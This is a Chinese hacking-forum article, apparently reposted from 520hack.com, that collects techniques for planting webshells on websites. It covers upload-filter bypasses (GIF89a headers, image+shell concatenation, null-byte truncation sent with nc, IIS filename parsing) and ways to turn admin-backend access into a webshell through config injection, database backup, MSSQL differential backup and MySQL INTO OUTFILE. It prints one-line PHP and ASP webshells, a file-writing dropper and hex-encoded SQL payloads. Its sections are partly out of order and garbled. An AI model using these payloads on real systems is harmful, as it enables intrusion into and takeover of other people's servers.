標籤:
一般網站圖片上傳功能都對檔案進行過濾,防止webshelll寫入。但不同的程式對過濾也不一樣,如何突破過濾繼續上傳?
本文總結了七種方法,可以突破!
1、檔案頭+GIF89a法。(php)//這個很好理解,直接在php馬最前面寫入gif89a,然後上傳dama.php
2、使用edjpgcom工具向圖片注入代碼。(php)//edjpgcom修改,加入php一句話儲存為dama.php
3、cmd命令下copy 圖片.GIF+shell.php webshell.php (php) //估計和1是同樣的原理,欺騙上傳webshell.php
4、C32asm開啟圖片在檔案末尾空一格加入代碼<?php eval($_POST[cmd])?> 。(php)//填充php一句話然後上傳。
5、在4基礎上改進代碼<?php fputs(fopen("error.php"."w")."<?eval(\$_POST[cmd]);?>")?> 。(php)//同
目錄下產生error.php,提問:asp的怎麼改寫?
回答:asp測試的結果是:沒有許可權...
<%
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
Set MyTextFile=MyFileObject.CreateTextFile("kafei.asp")
MyTextFile.WriteLine("\<\%eval request(chr(35))\%\>")
MyTextFile.Close
%>
6、IIS解析目錄名漏洞1.php;.jpg (jpg) //這是檔案名稱變數沒有過濾。
7、nc抓包改資料 //路徑名和檔案名稱沒有過濾。
//通過抓包修改上傳路徑通過/upload/1.asp+空格,使用軟體把空格填充為00。然後nc提交擷取webshell。
等待補充...
1、於是本地建了一個MDB資料庫,寫入
┼攠數畣整爠煥敵瑳∨≡┩愾
2、然後改為ASP上傳,一句話木馬上傳成功了,再拿用戶端去連的時候,出來了一流監控系統的提示
估計前面的SHELL為空白也是這東西搞的。。
於是先將自己的SHELL用微軟的screnc.exe進行加密。
3、然後建立一個很小的圖片。
在CMD下面copy /b a.jpg+shell.asp rs.asp
利用二進位的方式將兩個檔案合并在一起。 這次再上傳,成功了,沒有被那個監控系統擋下來。
4、但是這時的SHELL要在FIREFOX下面才可以瀏覽,放到IE下面的話只會的到一張圖片,而看不到SHELL 。
因為前面將SHELL與圖片合并在一起了,所以這時的SHELL裡面有很多亂碼,這時利用SHELL的遠程檔案下載功能。
因為一流監控系統只會對向上傳的資料進行檢查,對伺服器下載的資料並不會進行檢測。
將一個乾淨的SHELL下載到伺服器上就行,先將SHELL存為TXT檔案然後傳到自己的伺服器上,然後再利用SHELL提供的遠程檔案下載功能將那個TXT檔案下載到伺服器上面存為ASP,這樣就拿到了一個乾淨的SHELL。
================================================
上傳漏洞主要就是利用‘\0‘字元漏洞,‘\0‘字元在系統中被用作字串結束的標誌
基本原理就是網路程式雖然禁止了.asp等尾碼名檔案的上傳,但是都會允許.jpg或者.gif格式檔案的上傳。
這樣如果自己構造資料包 formPath=UploadFile/shell.asp‘\0 ‘.jpg,那麼‘\0 ‘後面的字元將被截斷,原因是電腦遇到‘\0‘字元,認為字串結束了。於是我們就向伺服器上傳了一個名為shell.asp的ASP木馬程式,後面的就不多說了,webshell的功能已經很強大了,如果再配合Serv-U取得server的管理員權限...
入侵過程:
條件:需要至少NC、WinSock Expert、UltraEdit三個工具和一個webshell程式
nc.exe(netcat) - 一個變形了的telnet,嗅探器,網路安全屆的軍刀!
WinSock Expert - 抓包工具,可以截獲網路通訊的資料流
UltraEdit - ......不說了,無人不知無人不曉-_-!
webshell - ASP、PHP等木馬程式
1.第一步,開啟目標系統的上傳頁面,通過WinSock Expert監視,上傳webshell.asp檔案,再開啟WinSock Expert,將截獲的資料流存為文字檔
(兩個send下面的所有內容,包括斷行符號產生的空白行)
2.通過UltraEdit修改文字檔中的關鍵代碼:filename="C:\test\webshell.asp" ,webshell.asp後加:1個空格及.jpg,然後跳到16進位編輯狀態,修改16進位下空格的20為00,Content-Length長度增加5。(一個字元算一個位元組,‘ .jpg‘一個5個位元組)
3.nc出場~!^^
指令:nc -vv www.xxx.com 80 < 1.txt
後台拿web shell全集
今天帶給大家的都是些技術上的總結,有些人老問經驗怎麼來的,這個就是經驗,希望大家都能成為指令碼高手.
動網上傳漏洞,相信大家拿下不少肉雞 。可以說是動網讓upfile.asp上傳檔案過濾不嚴的漏洞昭然天下,現在這種漏洞已經基本比較難見到了,不排除一些小網站仍然存在此漏洞。在拿站過程中,我們經常費了九牛兩虎之力拿到管理員帳號和密碼,並順利進入了後台,雖然此時與拿到網站webshell還有一步之遙,但還是有許多新手因想不出合適的方法而被拒之門外。因此,我們把常用的從後台得到webshell的方法進行了總結和歸納,大體情況有以下十大方面。
注意:如何進入後台,不是本文討論範圍,其具體方法就不說了,靠大家去自己發揮。此文參考了前人的多方面的資料和資訊,在此一併表示感謝。
一、直接上傳獲得webshell
這種對php和jsp的一些程式比較常見,MolyX BOARD就是其中一例,直接在心情表徵圖管理上傳.php類型,雖然沒有提示,其實已經成功了,上傳的檔案url應該是http://forums/images/smiles/下,前一陣子的聯眾遊戲站和網易的jsp系統漏洞就可以直接上傳jsp檔案。檔案名稱是原來的檔案名稱,bo-blog後台可以可以直接上傳.php檔案,上傳的檔案路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網5.0和6.0、早期的許多整站系統),因過濾上傳檔案不嚴,導致使用者可以直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制許可權。
二、添加修改上傳類型
現在很多的指令碼程式上傳模組不是只允許上傳合法檔案類型,而大多數的系統是允許添加上傳類型,bbsxp後台可以添加asa asP類型,ewebeditor的後台也可添加asa類型,通過修改後我們可以直接上傳asa尾碼的webshell了,還有一種情況是過濾了.asp,可以添加.aspasp的檔案類型來上傳獲得webshell。php系統的後台,我們可以添加.php.g1f的上傳類型,這是php的一個特性,最後的哪個只要不是已知的檔案類型即可,php會將php.g1f作為.php來正常運行,從而也可成功拿到shell。LeadBbs3.14後台獲得webshell方法是:在上傳類型中增加asp ,注意,asp後面是有個空格的,然後在前台上傳ASP馬,當然也要在後面加個空格! 七、asp+mssql系統
這裡需要提一點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳一個寫有asp代碼的假圖片,然後記住其上傳路徑。寫一個本地提交的表單,代碼如下:
<form act ion=http://網站/bbs/admin_data.asp?ac tion=RestoreData&act=Restore method="post">
<p>已上傳檔案的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要複製到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存新檔.htm本地執行。把假圖片上傳路徑填在“已上傳檔案的位置”那裡,想要備份的WebShell的相對路徑填寫在“要複製到的位置”那裡,提交就得到我們可愛的WebShell了,恢複代碼和此類似,修改相關地方就可以了。沒有遇到過後台執行mssql命令比較強大的asp程式後台,動網的資料庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。可以利用mssql注入差異備份webshell,一般後台是顯示了絕對路徑,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼,利用動網7.0的注入漏洞可以用差異備份一個webshell,可以用利用上面提到的方法,將conn.asp檔案備份成.txt檔案而獲得庫名。
差異備份的主要代碼:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to [email protected]
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to [email protected] WITH DIFFERENTIAL,FORMAT--
這段代碼中,0x626273是要備份的庫名bbs的十六進位,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六進位,是lp最小馬;0x643A5C7765625C312E617370是d:\web\1.asp的十六進位,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell,唯一的不足就是備份後的檔案過大,如果備份資料庫中有防下載的的資料表,或者有錯誤的asp代碼,備份出來的webshell就不會成功運行,利用差異備份是成功率比較高的方法,並且極大的減少備份檔案的大小。
八、php+mysql系統
後台需要有mysql資料查詢功能,我們就可以利用它執行SELECT ... INTO OUTFILE查詢輸出php檔案,因為所有的資料是存放在mysql裡的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用SELECT ... INTO OUTFILE語句匯出shell。
就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫。下面的方法是比較常用的一個匯出webshell的方法,也可以寫個vbs添加系統管理員的指令碼匯出到開機檔案夾,系統重起後就會添加一個管理員帳號
就會在up目錄下組建檔案名為saiy.php內容為的最小php木馬, 最後用lanker的用戶端來串連。實際運用中要考慮到檔案夾是否有寫入權限。或者輸入這樣的代碼 將會在目前的目錄產生一個a.php的最小馬。
九、phpwind論壇從後台到webshell的三種方式
方式1 模板法
進入後台, 風格模版設定 ,在隨便一行寫代碼,記住,這代碼必須頂著左邊行寫,代碼前面不可以有任何字元。
方始2 髒話過濾法
方式3 使用者等級管理
以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。
十、也可以利用網站訪問計數系統記錄來獲得webshell
解決方案
由於本文涉及的代碼版本很多,所以不可能提供一個完美的解決方案。有能力者可以針對本文提到的漏洞檔案進行適當修補,若漏洞檔案不影響系統使用也可刪除此檔案。大家如果不會修補,可以到相關官方網站下載最新補丁進行修複更新。同時也請大家能時刻關注各大安全網路發布的最新公告,若自己發現相關漏洞也可及時通知官方網站。
後記
其實,從後台得到webshell的技巧應該還有很多的,關鍵是要看大家怎麼靈活運用、觸類旁通,希望本文的方法能起到拋磚引玉的作用。 各位加油吧,讓我們將伺服器控制到底!
三、利用後台管理功能寫入webshell
上傳漏洞基本上補的也差不多了,所以我們進入後台後還可以通過修改相關檔案來寫入webshell。比較的典型的有dvbbs6.0,還有leadbbs2.88等,直接在後台修改設定檔,寫入尾碼是asp的檔案。而LeadBbs3.14後台獲得webshell另一方法是:添加一個新的友情連結,在網站名稱處寫上冰狐最小馬即可,最小馬前後要隨便輸入一些字
,http:\\網站\inc\IncHtm\BoardLink.asp就是我們想要的shell。
四、利用後台管理向設定檔寫webshell
利用"""":""//"等符號構造最小馬寫入程式的設定檔,joekoe論壇,某某同學錄,沸騰展望新聞系統,COCOON Counter統計程式等等,還有很多php程式都可以,COCOON Counter統計程式舉例,在管理郵箱處添上[email protected]":eval request(chr (35))//, 在配製檔案中就是webmail="[email protected]\":eval request(chr(35))//",還有一種方法就是寫上 [email protected]"%><%eval request(chr(35))%><%’,這樣就會形成前後對應,最小馬也就運行了。<%eval request(chr(35))%>可以用lake2的eval發送端以及最新的2006 用戶端來連,需要說明的是資料庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設定-菜單其它特效,插入一句話馬"%><%execute request("l")%><%’,保 存頂部欄目菜單參數設定成功後,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp。
五、利用後台Database Backup及恢複獲得webshell
主要是利用後台對access資料庫的“備份資料庫”或“恢複資料庫”功能,“備份的資料庫路徑”等變數沒有過濾導致可以把任意檔案尾碼改 為asp,從而得到webshell,msssql版的程式就直接應用了access版的代碼,導致sql版照樣可以利用。還可以備份網站asp檔案為其他尾碼 如.txt檔案,從而可以查看並獲得網頁原始碼,並獲得更多的程式資訊增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候,但是有asp系統在運行,利用此方法來查看原始碼來獲得其資料庫的位置,為資料庫插馬來創造機會,動網論壇就有一個ip地址的資料庫,在背景ip管理中可以插入最小馬然後備份成.asp檔案即可。在談談突破上傳檢測的方法,很多asp程式在即使改了尾碼名後也會提示檔案非法,通過在.asp檔案頭加上gif89a修改尾碼為gif來騙過asp程式檢測達到上傳的目的,還有一種就是用記事本開啟圖片檔案,隨便粘貼一部分複製到asp木馬檔案頭,修改gif尾碼後上傳也可以突破檢測,然後備份為.asp檔案,成功得到webshell。
六、利用資料庫壓縮功能
可以將資料的防下載失效從而使插入資料庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫上<%eval request (chr(35))%>, 提交後,在資料庫操作中壓縮資料庫,可以成功壓縮出.asp檔案,用海洋的最小馬的eval用戶端連就得到一個webshell。
本篇文章來源於 新世紀網安基地 (www.520hack.com) 原文出處:http://www.520hack.com/Article/Text2/200911/16637.html
上傳圖片shell繞過過濾的幾種方法